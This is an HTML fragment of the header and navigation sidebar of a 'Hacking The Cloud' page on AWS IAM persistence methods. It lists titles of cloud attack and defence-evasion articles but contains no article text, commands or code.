24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS IAM Persistence Methods </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-user-access-keys class=md-nav__link> <span class=md-ellipsis> IAM User Access Keys </span> </a> </li> <li class=md-nav__item> <a href=#iam-user-login-profile class=md-nav__link> <span class=md-ellipsis> IAM User Login Profile </span> </a> </li> <li class=md-nav__item> <a href=#iam-role-assume-role-policy class=md-nav__link> <span class=md-ellipsis> IAM Role Assume Role Policy </span> </a> </li> <li class=md-nav__item> <a href=#survive-access-key-deletion-with-stsgetfederationtoken class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=#ec2-instance-persistence class=md-nav__link> <span class=md-ellipsis> EC2 Instance Persistence </span> </a> </li> <li class=md-nav__item> <a href=#lambda-persistence class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=#user-data-script-persistence class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input 